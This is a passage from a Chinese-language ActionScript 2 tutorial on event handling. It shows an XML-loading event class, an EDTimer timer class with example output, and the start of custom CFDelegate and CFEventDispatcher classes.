&nbsp;&nbsp;&nbsp; public function EDEventClass(url:String)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //还有使用 initialize 静态方法.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EventDispatcher.initialize(this);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML = new XML();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.onLoad = Delegate.create(this, this.XMLonLoad);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.load(url);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function XMLonLoad(success:Boolean):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (success) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.dispatchEvent({type:&quot;complete&quot;});<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
保存文档.<br />
这里首导入 EventDispatcher 类,你可以选择继承或不继承此类.上面的代码一个是继承,一个是不继承.区别<br />
也很容易看出来.这里就不讲了.</font></p>
<p>示例类:<br />
打开 EDEventExample.as 文档,输入下面的代码:</p>
<p><span class="code"><font color="#000000">import EDEventClass;<br />
//----------------------------------------<br />
class EDEventExample<br />
{<br />
&nbsp;&nbsp;&nbsp; public function EDEventExample()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var ee:EDEventClass = new EDEventClass(&quot;EDEventExample.</font><a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a><font color="#000000">&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ee.addEventListener(&quot;complete&quot;, this);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function complete(evt:Object):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;complete&quot;);<br />
&nbsp;&nbsp;&nbsp; }<br />
}</font></span><br />
保存文档.<br />
在示例类中我们创建主类的一个实例.来加载 EDEventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a> 文档.然后添加侦听器.<br />
如果要移除事件侦听器,请使用下面的方法:</p>
<p><font color="#000000"><span class="code">ee.removeEventListener(&quot;complete&quot;, this);</span><br />
要加载的 XML 文档:<br />
打开 EDEventExample.</font><a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a> 文档,随便输入一些内容便可.测试用.</p>
<p>示例 fla 文档:<br />
打开 EDEventExample.fla 文档.将&quot;图层 1&quot;重命名为&nbsp; Actions.并在第一帧中输入下面的代码:</p>
<p><font color="#000000"><span class="code">new EDEventExample();</span><br />
保存文档.<br />
测试 Flash 文档.在 XML 文档成功加载后会在输出面板中显示以下内容</font></p>
<p><font color="#000000"><span class="code">complete</span><br />
如需给事件传递参数,在发送事件时将参数添加事件对象(请看:1.事件处理机制)中,如下添加:</font></p>
<p><font color="#000000"><span class="code">this.dispatchEvent({type:&quot;complete&quot;, 参数1:&quot;参数1&quot;, 参数2:&quot;参数2&quot;, 参数N:&quot;参数N&quot;);</span><br />
在调用事件时:</font></p>
<p><font color="#000000"><span class="code">private function complete(evt:Object)<br />
{<br />
&nbsp;&nbsp;&nbsp; trace([evt.type, evt.target, evt.参数1, evt.参数2, evt.参数N]);<br />
}</span><br />
下面再看一个示例:<br />
[5.2.示例: EDTimer 类(定时器)]<br />
此示例文档详细:<br />
Classes/AS2/utils/EDTimer.as<br />
Example/AS2/utils/EDTimer/EDTimerExample.as<br />
Example/AS2/utils/EDTimer/EDTimerExample.fla</font></p>
<p>主类:<br />
打开 EDTimer.as 类,输入下面的代码(当不急时,应多打代码(有利于巩固知识).不应 copy/paste):</p>
<p><font color="#000000"><span class="code">import mx.utils.Delegate;<br />
import mx.events.EventDispatcher;<br />
//------------------------------<br />
class AS2.utils.EDTimer extends EventDispatcher<br />
{<br />
&nbsp;&nbsp;&nbsp; //------------------------------<br />
&nbsp;&nbsp;&nbsp; private var _timerID:Number;<br />
&nbsp;&nbsp;&nbsp; private var _delay:Number;<br />
&nbsp;&nbsp;&nbsp; private var _repeatCount:Number;<br />
&nbsp;&nbsp;&nbsp; private var _currentCount:Number = 0;<br />
&nbsp;&nbsp;&nbsp; private var _running:Boolean;<br />
&nbsp;&nbsp;&nbsp; //------------------------------<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp; @parameter&nbsp;&nbsp;&nbsp; delay:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 延迟,单位毫秒.<br />
&nbsp;&nbsp;&nbsp; @parameter&nbsp;&nbsp;&nbsp; repeatCount:&nbsp;&nbsp;&nbsp; 重复次数.默认为Infinity(正无穷大);<br />
&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public function EDTimer(delay:Number, repeatCount:Number)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (isNaN(delay)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (isNaN(repeatCount)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; repeatCount = Infinity;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._delay = delay;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._repeatCount = repeatCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //------------------------------<br />
&nbsp;&nbsp;&nbsp; public function reset():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._currentCount = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.stop();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function start():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._timerID = setInterval(Delegate.create(this, this.startTimer), this._delay);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._running = true;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function stop():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; clearInterval(this._timerID);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._running = false;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function toString():String<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;[EDTimer]&quot;;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private function startTimer():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._currentCount++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.dispatchEvent({type:&quot;timer&quot;, currentCount:this._currentCount});<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this._currentCount == this._repeatCount) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.reset();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.dispatchEvent({type:&quot;timerComplete&quot;});<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //------------------------------<br />
&nbsp;&nbsp;&nbsp; public function get delay():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._delay;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function set delay(d:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._delay = d;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get repeatCount():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._repeatCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function set repeatCount(r:Number):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._repeatCount = r;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get currentCount():Number<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._currentCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function get running():Boolean<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this._running;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //------------------------------<br />
}</span><br />
因此类详细前面已讲,功能一样,只是事件处理机制不同而已.这里就不再啰嗦.</font></p>
<p>示例类:<br />
打开 EDTimerExample.as 文档,输入下面的代码:</p>
<p><font color="#000000"><span class="code">import AS2.utils.EDTimer;<br />
//----------------------------------------<br />
class EDTimerExample<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function EDTimerExample()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var te:EDTimer = new EDTimer(1000, 5);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.addEventListener(&quot;timer&quot;, this);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.addEventListener(&quot;timerComplete&quot;, this);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; te.start();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function timer(evt:Object):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;timer: &quot; + evt.currentCount);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function timerComplete(evt:Object):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(evt.type);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
示例 fla 文档:<br />
打开 EDTimerExample.fla 文档,将&quot;图层 1&quot; 重命名为 Actions.并在第一帧中输入下面的代码:</font></p>
<p><font color="#000000"><span class="code">new EDTimerExample();</span><br />
测试 Flash 文档.输出面板会陆续显示以下的内容:</font></p>
<p><font color="#000000"><span class="code">timer: 1<br />
timer: 2<br />
timer: 3<br />
timer: 4<br />
timer: 5<br />
timerComplete</span><br />
下一节:[6.建立强大的事件处理机制]</font></p>
<p>[6.建立强大的事件处理机制]</p>
<p>这一节讲建立强大的事件处理机制.学完这节,如果有接触过 AS3 的,马上会想到一句:这不就是 AS3 的事件处理机制吗?<br />
的确.可以说跟 AS3 的事件处理机制一模一样.但还是有个作用域的问题.这节对想学习 AS3 的事件处理机制会有很大<br />
帮助.如果你掌握这节中的内容,在 AS3 中就只有语法问题.也就会很快进入状态.毕竟是&quot;水往低处流,人往高处走&quot;.对现<br />
在用 AS2 的,学 AS3 是迟早的问题.不过 AS2 在新版本出来之前还是会很有用的(个人的看法).</p>
<p>作用域因为一样,前面也讲过,这里就不在啰嗦.<br />
事件对象.这里已经创建一个 Event 类(或其子类)来代替.但功能一样.</p>
<p>这节讲的事件处理机制的形态(代码).<br />
发送事件:</p>
<p><font color="#000000"><span class="code">//继承.<br />
import AS2.events.Event;<br />
import AS2.events.CFEventDispatcher;<br />
class className extends CFEventDispatcher<br />
{<br />
&nbsp;&nbsp;&nbsp; ...<br />
&nbsp;&nbsp;&nbsp; this.dispatchEvent(new Event(Event.COMPLETE));<br />
&nbsp;&nbsp;&nbsp; ...<br />
}</span><br />
或</font></p>
<p><font color="#000000"><span class="code">//不继承.<br />
import AS2.events.Event;<br />
import AS2.events.CFEventDispatcher;<br />
class className<br />
{<br />
&nbsp;&nbsp;&nbsp; public var addEventListener:Function;<br />
&nbsp;&nbsp;&nbsp; public var removeEventListener:Function;<br />
&nbsp;&nbsp;&nbsp; private var dispatchEvent:Function;<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; public function className()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //此方法要在使用 dispatchEvent 方法前被执行.一般放于构造函数中.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CFEventDispatcher.initialize(this);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; ...<br />
&nbsp;&nbsp;&nbsp; this.dispatchEvent(new Event(Event.COMPLETE));<br />
&nbsp;&nbsp;&nbsp; ...<br />
}</span><br />
侦听事件:</font></p>
<p><font color="#000000"><span class="code">//使用自定义函数.<br />
import AS2.events.Event;<br />
import className;<br />
...<br />
var cn:className = new className();<br />
//自定义函数.<br />
function completeHandler(evt:Event):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: _level0.cn<br />
}<br />
cn.addEventListener(Event.COMPLETE, completeHandler);<br />
...</span><br />
或</font></p>
<p><font color="#000000"><span class="code">//使用事件侦听器对象.<br />
import AS2.events.Event;<br />
import className;<br />
...<br />
var cn:className = new className();<br />
//事件同名函数.<br />
function complete(evt:Event):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: this(指向侦听器对象)<br />
}<br />
cn.addEventListener(Event.COMPLETE, this);<br />
...</span><br />
移除侦听:</font></p>
<p><font color="#000000"><span class="code">//使用自定义函数.<br />
...<br />
cn.removeEventListener(Event.COMPLETE, completeHandler);<br />
...</span><br />
或</font></p>
<p><font color="#000000"><span class="code">//使用事件侦听器对象.<br />
...<br />
cn.removeEventListener(Event.COMPLETE, this);<br />
...</span><br />
AS2.utils.CFDelegate;<br />
AS2.events.Event;<br />
AS2.events.CFEventDispatcher;<br />
这些是什么?下面讲解:</font></p>
<p>[6.1.创建 CFDelegate 类(修改 Delegate 类)]<br />
CFDelegate 类是 Delegate 类的修改版本.简化了代码(一般不用的功能).提高了执行效率.</p>
<p>此类文档详细:<br />
Classes/AS2/utils/CFDelegate.as</p>
<p>主类:<br />
打开 CFDelegate.as 文档.输入下面的代码:</p>
<p><font color="#000000"><span class="code">class AS2.utils.CFDelegate<br />
{<br />
&nbsp;&nbsp;&nbsp; public static function create(scope:Object, method:Function):Function<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var f:Function = function ()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; method.apply(scope, arguments);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return f;<br />
&nbsp;&nbsp;&nbsp; }<br />
}</span><br />
保存文档.</font></p>
<p>[6.2.创建 CFEventDispatcher 类(修改 EventDispatcher 类)]<br />
CFEventDispatcher 类是 EventDispatcher 类的修改版本.简化了代码(一般不用的功能).提高了执行效率.</p>
<p>此类文档详细:<br />
Classes/AS2/events/CFEventDispatcher.as</p>
<p>主类:<br />
打开 CFEventDispatcher.as 文档.输入下面的代码:</p>
<p><font color="#000000"><span class="code">*/<br />
//----------------------------------------<br />
class AS2.events.CFEventDispatcher<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //构造函数<br />
&nbsp;&nbsp;&nbsp; public function CFEventDispatcher(){}<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //当不继承此类时,此属性才有效.<br />
&nbsp;&nbsp;&nbsp; private static var _ed:CFEventDispatcher;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private static function _removeEventListener(queue:Object, handler):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里主要用于删除事件数组中的事件处理器.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (queue != undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var l:Number = queue.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(l--){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(queue[l] == handler){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; queue.splice(l, 1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //当不继承此类时.此方法有效.<br />
&nbsp;&nbsp;&nbsp; public static function initialize(o:Object):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果没有继承此类,而是使用 initialize 此方法时, _ed 等于 undefined.然后创建此类的实例.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最后将事件通知和侦听器管理功能添加到 initialize 方法中的对象 o.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 前面所讲的不继承此类时需添加的三个方法,其实是四个.还有 dispatchQueue 方法.但此方法在<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 调用 dispatchEvent 方法时就会自动调用.可能有人会问,为什么没有定义就能调用?因为在函数<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中可以操作对象.从而对对象动态添加方法和属性.这里就是用了在函数中操作对象.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (_ed == undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _ed = new CFEventDispatcher();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.addEventListener = _ed.addEventListener;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.removeEventListener = _ed.removeEventListener;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.dispatchEvent = _ed.dispatchEvent;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.dispatchQueue = _ed.dispatchQueue;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private function dispatchQueue(queueObj:Object, eventObj:Object):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里主要用于判断事件处理器是对象还是函数.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (queueObj[eventObj.type] != undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (var i:String in queueObj[eventObj.type]) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var o = queueObj[eventObj.type][i];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (typeof (o) == &quot;object&quot; || typeof (o) == &quot;movieclip&quot;) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //调用对象中的handleEvent函数.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //if (o.handleEvent != undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //o.handleEvent(eventObj);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //调用对象中的事件同名函数.&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //if (o[eventObj.type] != undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o[eventObj.type](eventObj);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //调用自定义函数.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.apply(queueObj, [eventObj]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function dispatchEvent(eventObj:Object):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //将事件源始终指向this(应用此类的对象).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eventObj.target = this;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //此句对动态类,或在类中定义&quot;事件名Handler&quot; 这样的函数时才有效.在这里我注释了这句.你如果你想用,可以启用它.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用法: 对象.事件名Handler = function(evt:Object){};<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //this[eventObj.type + &quot;Handler&quot;](eventObj);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.dispatchQueue(this, eventObj);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function addEventListener(event:String, handler):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //这里可以这样理解:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使用<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addEventListener(&quot;click&quot;, 事件处理器);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 添加事件.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这时, this[&quot;click&quot;] 就等于 undefined.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (this[&quot;click&quot;] == undefined) = true<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 然后将创建一个新数组来存储事件处理器.<br />
